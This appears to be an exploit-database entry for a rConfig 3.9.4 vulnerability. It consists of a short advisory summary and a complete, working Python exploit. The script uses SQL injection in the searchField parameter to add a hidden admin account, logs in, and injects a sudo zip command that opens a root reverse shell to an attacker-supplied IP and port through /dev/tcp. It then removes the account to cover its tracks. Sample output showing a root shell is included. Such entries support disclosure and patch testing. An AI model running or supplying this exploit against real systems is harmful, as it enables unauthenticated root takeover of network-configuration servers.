rConfig 3.9.4 - 'searchField' Unauthenticated Root Remote Code Execution

vendor:

rConfig

by:

vikingfr

9.8

CVSS

CRITICAL

Unauthenticated Root Remote Code Execution

CWE

Product Name: rConfig

Affected Version From: 3.9.4

Affected Version To: 3.9.4

Patch Exists: YES

Related CWE: CVE-2019-19509, CVE-2019-19585, CVE-2020-10220

CPE: rconfig

Metasploit: https://www.rapid7.com/db/modules/exploit/linux/http/rconfig_ajaxarchivefiles_rce/

Other Scripts: N/A

Platforms Tested: Apache/2.4.6 (CentOS 7.7) OpenSSL/1.0.2k-fips PHP/7.2.24

2020

rConfig 3.9.4 – ‘searchField’ Unauthenticated Root Remote Code Execution

An unauthenticated attacker can exploit a vulnerability in rConfig 3.9.4 to gain root access to the system. The vulnerability exists in the 'searchField' parameter of the userprocess.php file, which allows an attacker to inject arbitrary code into the system. The attacker can then use this code to gain root access to the system.

Mitigation:

The vendor has released a patch to address this vulnerability. Users should update their systems to the latest version of rConfig.

Source

Exploit-DB raw data:

# Exploit Title: rConfig 3.9.4 - 'searchField' Unauthenticated Root Remote Code Execution
# Exploit Author: vikingfr
# Greetz : Orange Cyberdefense - team CSR-SO (https://cyberdefense.orange.com)
# Date: 2020-03-12
# CVE-2019-19509 + CVE-2019-19585 + CVE-2020-10220
# Exploit link : https://github.com/v1k1ngfr/exploits-rconfig/blob/master/rconfig_root_RCE_unauth.py
# Vendor Homepage: https://rconfig.com/ (see also : https://github.com/rconfig/rconfig)
# Software Link : https://www.rconfig.com/downloads/rconfig-3.9.4.zip
# Install scripts  :
# https://www.rconfig.com/downloads/scripts/install_rConfig.sh
# https://www.rconfig.com/downloads/scripts/centos7_install.sh
# https://www.rconfig.com/downloads/scripts/centos6_install.sh
# Version: tested v3.9.4
# Tested on: Apache/2.4.6 (CentOS 7.7) OpenSSL/1.0.2k-fips PHP/7.2.24
#
# Notes : If you want to reproduce in your lab environment follow those links :
# http://help.rconfig.com/gettingstarted/installation
# then
# http://help.rconfig.com/gettingstarted/postinstall
#
# Example :
# $ python3  rconfig_root_RCE_unauth_final.py http://1.1.1.1 1.1.1.2 3334
# rConfig - 3.9 - Unauthenticated root RCE
# [+] Adding a temporary admin user...
# [+] Authenticating as dywzxuvbah...
# [+] Logged in successfully, triggering the payload...
# [+] Check your listener !
# [+] The reverse shell seems to be opened :-)
# [+] Removing the temporary admin user...
# [+] Done.
#
# $ nc -nvlp 3334
# listening on [any] 3334 ...
# connect to [1.1.1.2] from (UNKNOWN) [1.1.1.1] 46186
# sh: no job control in this shell
# sh-4.2# id
# id
# uid=0(root) gid=0(root) groups=0(root)
# sh-4.2# 

#!/usr/bin/python3
import requests
import sys
import urllib.parse
import string
import random
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
from requests.exceptions import Timeout

print ("rConfig - 3.9 - Unauthenticated root RCE")

if len(sys.argv) != 4:
    print ("[+] Usage : ./rconfig_exploit.py https://target yourIP yourPort")
    exit()

target = sys.argv[1]
ip = sys.argv[2]
port = sys.argv[3]

vuln_page="/commands.inc.php"
vuln_parameters="?searchOption=contains&searchField=vuln&search=search&searchColumn=command"
def generateUsername(stringLength=8):
    u= string.ascii_lowercase
    return ''.join(random.sample(u,stringLength))

print ("[+] Adding a temporary admin user...")
fake_id = str(random.randint(200,900))
fake_user = generateUsername(10)
fake_pass_md5 = "21232f297a57a5a743894a0e4a801fc3" # hash of 'admin'
fake_userid_md5 = "6c97424dc92f14ae78f8cc13cd08308d"
userleveladmin = 9 # Administrator
addUserPayload="%20;INSERT%20INTO%20`users`%20(`id`,%20`username`,%20`password`,%20`userid`,%20`userlevel`,%20`email`,%20`timestamp`,%20`status`)%20VALUES%20("+fake_id+",%20'"+fake_user+"',%20'"+fake_pass_md5+"',%20'"+fake_userid_md5+"',%209,%20'"+fake_user+"@domain.com',%201346920339,%201);--"
encoded_request = target+vuln_page+vuln_parameters+addUserPayload
firstrequest = requests.session()
exploit_req = firstrequest.get(encoded_request,verify=False)

request = requests.session()
login_info = {
    "user": fake_user,
    "pass": "admin",
    "sublogin": 1
}
print ("[+] Authenticating as "+fake_user+"...")
login_request = request.post(
    target+"/lib/crud/userprocess.php",
     login_info,
     verify=False,
     allow_redirects=True
 )

dashboard_request = request.get(target+"/dashboard.php", allow_redirects=False)

payload = ''' `touch /tmp/.'''+fake_user+'''.txt;sudo zip -q /tmp/.'''+fake_user+'''.zip /tmp/.'''+fake_user+'''.txt -T -TT '/bin/sh -i>& /dev/tcp/{0}/{1} 0>&1 #'` '''.format(ip, port)
if dashboard_request.status_code == 200:
    print ("[+] Logged in successfully, triggering the payload...")
    encoded_request = target+"/lib/ajaxHandlers/ajaxArchiveFiles.php?path={0}&ext=random".format(urllib.parse.quote(payload))
    print ("[+] Check your listener !")
    try:
        exploit_req = request.get(encoded_request,timeout=10)  
    except Timeout:
        print('[+] The reverse shell seems to be opened :-)')
    else:
        print('[-] The command was not executed by the target or you forgot to open a listener...')

elif dashboard_request.status_code == 302:
    print ("[-] Wrong credentials !? Maybe admin were not added...")
    exit()

print("[+] Removing the temporary admin user...")
delUserPayload="%20;DELETE%20FROM%20`users`%20WHERE%20`username`='"+fake_user+"';--"
encoded_request = target+vuln_page+vuln_parameters+delUserPayload
lastrequest = requests.session()
exploit_req = lastrequest.get(encoded_request,verify=False)
print ("[+] Done.")